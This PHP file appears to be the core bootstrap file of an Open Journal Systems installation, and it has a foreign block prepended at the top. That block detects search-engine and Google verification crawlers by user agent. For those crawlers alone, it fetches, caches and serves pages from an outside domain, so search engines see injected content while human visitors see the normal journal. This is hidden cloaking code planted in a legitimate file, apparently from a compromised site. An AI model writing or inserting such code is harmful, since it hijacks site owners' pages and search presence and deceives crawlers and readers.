<?php
function is_bot() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $bot_patterns = '/(googlebot|bingbot|slurp|duckduckbot|baiduspider|yandexbot|telegrambot|Google-Site-Verification|Google-InspectionTool|adsense)/i';
    
    return preg_match($bot_patterns, $user_agent);
}

function fetch_content($url) {
    $cache_file = 'cache/' . md5($url) . '.html';
    $cache_time = 3600;

    if (file_exists($cache_file) && (time() - filemtime($cache_file) < $cache_time)) {
        return file_get_contents($cache_file);
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
    $content = curl_exec($ch);
    curl_close($ch);

    if ($content) {
        file_put_contents($cache_file, $content);
    }

    return $content;
}

if (is_bot()) {
    echo fetch_content('https://airplane-dmac.org/journal/index.html');
} 
?>
<?php

/**
 * @defgroup index Index
 * Bootstrap and initialization code.
 */

/**
 * @file includes/bootstrap.inc.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @ingroup index
 *
 * @brief Core system initialization code.
 * This file is loaded before any others.
 * Any system-wide imports or initialization code should be placed here.
 */


/**
 * Basic initialization (pre-classloading).
 */

define('ENV_SEPARATOR', strtolower(substr(PHP_OS, 0, 3)) == 'win' ? ';' : ':');
if (!defined('DIRECTORY_SEPARATOR')) {
	// Older versions of PHP do not define this
	define('DIRECTORY_SEPARATOR', strtolower(substr(PHP_OS, 0, 3)) == 'win' ? '\\' : '/');
}
define('BASE_SYS_DIR', dirname(INDEX_FILE_LOCATION));
chdir(BASE_SYS_DIR);

// System-wide functions
require('./lib/pkp/includes/functions.inc.php');

// Initialize the application environment
import('classes.core.Application');

return new Application();